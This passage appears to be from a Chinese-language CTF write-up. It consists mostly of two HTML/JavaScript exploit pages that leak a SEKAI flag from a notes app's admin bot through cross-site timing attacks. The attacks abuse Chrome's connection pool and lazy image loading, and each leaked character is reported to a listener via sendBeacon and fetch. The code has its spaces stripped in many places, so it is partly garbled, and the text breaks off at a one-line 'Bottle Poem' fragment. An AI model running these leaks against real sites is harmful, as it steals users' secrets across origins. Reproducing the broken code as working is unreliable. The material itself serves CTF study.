<html> <head> <script> constSITE_URL = 'http://127.0.0.1:1234/'; constPING_URL = 'http://127.0.0.1/'; functiontimeScript(){ returnnewPromise(resolve => { var x = document.createElement('script'); x.src = 'http://127.0.0.1:1234/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx" let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() } remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank" let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() } constsleep = ms => newPromise(resolve =>setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' // const alphabet = 'zxa' var prefix = 'SEKAI{te'; constTIMEOUT = 500; asyncfunctioncheckLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = `${prefix}${letter}` + Array.from(Array(1000)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join(''); awaitadd_note(payload); awaitsleep(TIMEOUT); first = awaittimeScript();//使用timeScript()保证已经加载完成 awaitremove_note(1);//因为是提交的表单并打开新标签页,所以这里如果你添加的一堆img标签没有消失的话,就会开始占用上面所说的第二种pool awaitsleep(100);//等待的时间需要调整,如果时间太长,img标签加载完后,占用的资源也就释放了 const time = awaittimeScript(); navigator.sendBeacon(PING_URL+[letter,time],''); if(time>=8){ return1; } return0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(awaitcheckLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL+'?data='+prefix); break; } } // } // 注释掉while,我这里改成每跑一次leak一个字元 }; </script> </head> <body>
<html> <!-- The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread. If images are loading, the request to "/" is slower, otherwise faster. By using a well-crafted height, we can let note with "A" load image but note with "Z" not load. We can use fetch to measure the request time. --> <body> <buttononclick="run()">start</button>
<formid=f2action="http://127.0.0.1:1234/remove"method="POST"target="_blank"> <inputid=inp2name="index"value=""> </form> <script> let flag = 'SEKAI{' constTARGET = 'http://127.0.0.1:1234' f.action = TARGET + '/create' f2.action = TARGET + '/remove' constsleep = ms => newPromise(r =>setTimeout(r, ms)) constsend = data => fetch('http://127.0.0.1?d='+data) const charset = 'abcdefghijklmnopqrstuvwxyz'.split('') // start exploit let count = 0 setTimeout(async () => { for(let i=1;i<=9;i++){ let L = 0 let R = charset.length - 1 let M = 0 while( L <= R ) { M = L + ((R - L)>>1) let c = charset[M] send('try_' + flag + c + ' L: ' + L + ' R: ' + R) const found = awaittestChar(flag + c) if (found) { L = M + 1 } else { R = M } if (L==R){//有时候二分需要注意下这个 M = R-1 break } } if(M == 0 || M == charset.length - 1) break flag += charset[M] send('found: '+ flag) } }, 0) asyncfunctiontestChar(str) { returnnewPromise(resolve => { /* For 3350, you need to test it on your local to get this number. The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold If starts with "A", the image should be loaded because it's in the threshold. */ //1700px inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:900}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('') f.submit() setTimeout(() => { run(str, resolve) }, 100) }) } asyncfunctionrun(str, resolve) { // if the request is not enough, we can send more by opening more window for(let i=1; i<=5;i++) { window.open(TARGET) } //这步也比较聪明,之前我还在想输入的长度是有限制的,那么点图片怕是卡不住,后来看到这里才意识到自己反应确实慢了 let t = 0 const round = 30 setTimeout(async () => { for(let i=0; i<round; i++) { let s = performance.now() awaitfetch(TARGET + '/?test', { mode: 'no-cors' }).catch(err=>1) let end = performance.now() t += end - s console.log(end - s) } const avg = t/round send(str + "," + t + "," + "avg:" + avg) /* I get this threshold(1000ms) by trying multiple times on remote admin bot for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold */ const isFound = (t >= 200)//本地测试200ms够了 if (isFound) { inp2.value = "0"//根据结果移除排在上面的还是下面的 } else { inp2.value = "1" } // remember to delete the post to not break our leak oracle f2.submit() setTimeout(() => { resolve(isFound) }, 200) }, 100) } </script>
</body>
</html>
官方wp的方法由于要个域名,暂时没有能力仔细实验下
其他的题目我不是很感兴趣,就简单记录下脚本(这样就可以把电脑上的一堆脚本删了)
Bottle Poem
from bottle import route, run, template, request, response, error